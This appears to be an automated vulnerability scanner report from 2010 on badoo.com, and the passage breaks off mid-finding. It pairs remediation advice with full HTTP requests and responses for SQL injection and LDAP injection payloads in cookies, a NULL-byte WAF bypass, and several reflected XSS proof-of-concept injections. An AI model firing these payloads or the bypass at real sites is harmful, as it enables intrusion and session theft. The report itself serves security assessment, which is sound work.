SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
Issue remediation
The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.
You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:
One common defense is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defense is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defense may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defense to be bypassed.
Another often cited defense is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.
The __utma cookie appears to be vulnerable to SQL injection attacks. The payloads 18147713'%20or%201%3d1--%20 and 18147713'%20or%201%3d2--%20 were each submitted in the __utma cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /093407644/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.118147713'%20or%201%3d1--%20; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response 1
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:55:19 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:55:18 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 16689
The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request 1
GET /facebook%00'/auth.phtml HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response 1
HTTP/1.1 404 Not Found Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:55:13 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:55:12 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 5245
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <link rel="stylesheet" href="http://images.badoo.com/2384/-/-/css/page.error-notfound.css" type="text/css" media="screen,projection,print" /> ...[SNIP]...
Request 2
GET /facebook%00''/auth.phtml HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response 2
HTTP/1.1 400 Bad Request Server: nginx/0.8.53 Date: Tue, 09 Nov 2010 15:55:13 GMT Content-Type: text/html Content-Length: 173 Connection: close
<html> <head><title>400 Bad Request</title></head> <body bgcolor="white"> <center><h1>400 Bad Request</h1></center> <hr><center>nginx/0.8.53</center> </body> </html>
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request 1
GET /facebook/auth.phtml%00' HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response 1
HTTP/1.1 404 Not Found Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:55:50 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:55:49 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 5245
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <link rel="stylesheet" href="http://images.badoo.com/2384/-/-/css/page.error-notfound.css" type="text/css" media="screen,projection,print" /> ...[SNIP]...
Request 2
GET /facebook/auth.phtml%00'' HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response 2
HTTP/1.1 400 Bad Request Server: nginx/0.8.53 Date: Tue, 09 Nov 2010 15:55:50 GMT Content-Type: text/html Content-Length: 173 Connection: close
<html> <head><title>400 Bad Request</title></head> <body bgcolor="white"> <center><h1>400 Bad Request</h1></center> <hr><center>nginx/0.8.53</center> </body> </html>
The __utmz cookie appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the __utmz cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /veletanga77/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)'%20and%201%3d1--%20; __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response 1
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:53:04 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:53:03 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 12654
The t cookie appears to be vulnerable to SQL injection attacks. The payloads 15342933'%20or%201%3d1--%20 and 15342933'%20or%201%3d2--%20 were each submitted in the t cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /veletanga77/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|777915342933'%20or%201%3d1--%20; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response 1
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:52:49 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:52:48 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 12658
LDAP injection arises when user-controllable data is copied in an unsafe way into an LDAP query that is performed by the application. If an attacker can inject LDAP metacharacters into the query, then they can interfere with the query's logic. Depending on the function for which the query is used, the attacker may be able to retrieve sensitive data to which they are not authorised, or subvert the application's logic to perform some unauthorised action.
Note that automated difference-based tests for LDAP injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Issue remediation
If possible, applications should avoid copying user-controllable data into LDAP queries. If this is unavoidable, then the data should be strictly validated to prevent LDAP injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into queries, and any other input should be rejected. At a minimum, input containing any LDAP metacharacters should be rejected; characters that should be blocked include ( ) ; , * | & = and whitespace.
The __utmb cookie appears to be vulnerable to LDAP injection attacks.
The payloads 186605fcfe2ce414)(sn=* and 186605fcfe2ce414)!(sn=* were each submitted in the __utmb cookie. These two requests resulted in different responses, indicating that the input may be being incorporated into a disjunctive LDAP query in an unsafe manner.
Request 1
GET /doritos699/?sold2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4 HTTP/1.1 Host: badoo.com Proxy-Connection: keep-alive Referer: http://badoo.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=186605fcfe2ce414)(sn=*; t=1|7779|8|10039|cr|7779
Response 1
HTTP/1.1 200 OK Server: nginx/0.8.53 Content-Type: text/html; charset=utf-8 Connection: keep-alive Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 16:23:47 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 16:23:46 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 15150
The __utmc cookie appears to be vulnerable to LDAP injection attacks.
The payloads 989effa957c842cd)(sn=* and 989effa957c842cd)!(sn=* were each submitted in the __utmc cookie. These two requests resulted in different responses, indicating that the input may be being incorporated into a disjunctive LDAP query in an unsafe manner.
Request 1
GET /webone/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=989effa957c842cd)(sn=*; __utmb=175644733.1.10.1289338958;
Response 1
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:52:00 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:51:59 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 10841
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
3.1. http://badoo.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://badoo.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eceae"><script>alert(1)</script>808e8e3392c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?eceae"><script>alert(1)</script>808e8e3392c=1 HTTP/1.1 Host: badoo.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: keep-alive Set-Cookie: s2=0JlA5YL_pJm.L2bjGHc.G11AGp2Syprfb; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:50:11 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 59484
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <script>_id=1 ...[SNIP]... <a href="http://badoo.com/?lang_id=5&eceae"><script>alert(1)</script>808e8e3392c=1"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cb6d9"><script>alert(1)</script>b7abf3c067f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /01029820524cb6d9"><script>alert(1)</script>b7abf3c067f/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 404 Not Found Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:53:14 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:53:13 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 5757
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/01029820524cb6d9"><script>alert(1)</script>b7abf3c067f/?lang_id=5"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 368c4"><script>alert(1)</script>0a2312c5310 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /01038220576368c4"><script>alert(1)</script>0a2312c5310/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 404 Not Found Server: nginx/0.8.53 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:54:11 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:54:10 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 5757
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/01038220576368c4"><script>alert(1)</script>0a2312c5310/?lang_id=5"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 27c99"><script>alert(1)</script>47ac93ee90e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /0104669441827c99"><script>alert(1)</script>47ac93ee90e/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 404 Not Found Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:55:07 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:55:06 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 5757
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/0104669441827c99"><script>alert(1)</script>47ac93ee90e/?lang_id=5"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6787e"><script>alert(1)</script>250a1a9d447 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /010538857546787e"><script>alert(1)</script>250a1a9d447/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 404 Not Found Server: nginx/0.8.53 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:56:47 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:56:46 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 5757
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/010538857546787e"><script>alert(1)</script>250a1a9d447/?lang_id=5"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 42bea"><script>alert(1)</script>8af082f3ab1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /0105538343842bea"><script>alert(1)</script>8af082f3ab1/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 404 Not Found Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:54:52 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:54:51 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 5757
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/0105538343842bea"><script>alert(1)</script>8af082f3ab1/?lang_id=5"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 50e39"><script>alert(1)</script>68bd8aa68f6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
